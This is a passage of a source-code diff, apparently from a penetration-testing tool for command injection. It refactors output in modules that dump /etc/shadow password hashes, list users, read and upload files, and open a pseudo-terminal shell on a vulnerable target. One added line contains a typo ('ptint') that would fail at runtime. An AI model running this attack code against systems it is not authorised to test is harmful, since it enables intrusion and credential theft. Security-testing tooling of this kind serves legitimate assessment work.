sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -350,31 +319,29 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() - else: + else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -403,7 +370,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " + is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " @@ -413,12 +380,11 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() - # Add infos to logs file. + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -426,27 +392,23 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese warn_msg += "appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "'." + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass """ @@ -455,8 +417,9 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - # Not yet implemented! - pass + check_option = "--passwords" + checks.unavailable_option(check_option) + pass else: cmd = settings.SYS_PASSES #print(settings.SINGLE_WHITESPACE) @@ -472,22 +435,17 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes == "": sys_passes = " " if sys_passes : - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) @@ -499,8 +457,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") @@ -510,91 +468,100 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 if len(output) > 1: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, output)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) return check_how_long, output """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - + def reset(): + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False + + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.hostname: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.current_user: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() + + if menu.options.is_root or menu.options.is_admin: + if settings.ENUMERATION_DONE: + print(settings.SINGLE_WHITESPACE) + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + reset() if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.users: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.passwords: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() # eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index bc848a3aef..625f19e774 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -35,7 +35,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -59,14 +59,12 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -147,7 +145,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: @@ -160,7 +159,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) @@ -169,7 +167,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -208,7 +207,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 5527993e63..c3a67f2012 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -50,8 +50,8 @@ """ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) + debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" + print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: @@ -157,12 +157,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection @@ -320,17 +316,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -365,6 +354,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: percent = ".. (" + str(float_percent) + "%)" break + # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ @@ -436,11 +426,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.total_of_requests() # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -458,19 +450,19 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.TARGET_OS == "win": time.sleep(1) - new_line = True + _ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : + _ = True while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif enumerate_again in settings.CHOICE_NO: - new_line = False break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -482,22 +474,23 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, pass else: if menu.enumeration_options(): + _ = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + + if settings.FILE_ACCESS_DONE == False and _ == False: + print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE == True and new_line: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -508,9 +501,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: - if not new_line: - print(settings.SINGLE_WHITESPACE) - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if menu.file_access_options(): + tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: @@ -518,26 +510,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result if len(output) > 1: - #tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - # Delete previous shell (text) files (output) from temp. - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") + print(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -557,21 +545,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, break if go_back and go_back_again: return True - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if menu.options.ignore_session or \ + session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: + # The main command injection exploitation. + check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + # Export injection result + tfb_injector.export_injection_results(cmd, separator, output, check_how_long) + if not menu.options.ignore_session : + session_handler.store_cmd(url, cmd, output, vuln_parameter) + else: + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + print(settings.SINGLE_WHITESPACE) + print(settings.print_output(output)) + print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) - print("\n" + settings.print_output(output) + "\n") - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -592,17 +581,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise - - except SystemExit: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise except EOFError: if not settings.IS_TTY: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 39454a076a..1367d0678a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -189,10 +189,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + print(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell : @@ -211,13 +208,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -249,13 +242,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) print(settings.print_bold_debug_msg(debug_msg)) @@ -279,8 +265,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" else: info_msg += "\n" if output_length > 1: @@ -305,13 +289,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -362,19 +342,15 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) + # Check for empty output. + if output == (len(output) * " "): + output = "" + else: check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - check_how_long = 0 output = "" - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) return check_how_long, output """ @@ -390,12 +366,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + checks.check_for_false_positive_result() # Varying the sleep time. timesec = timesec + random.randint(1, 5) @@ -419,16 +390,10 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - 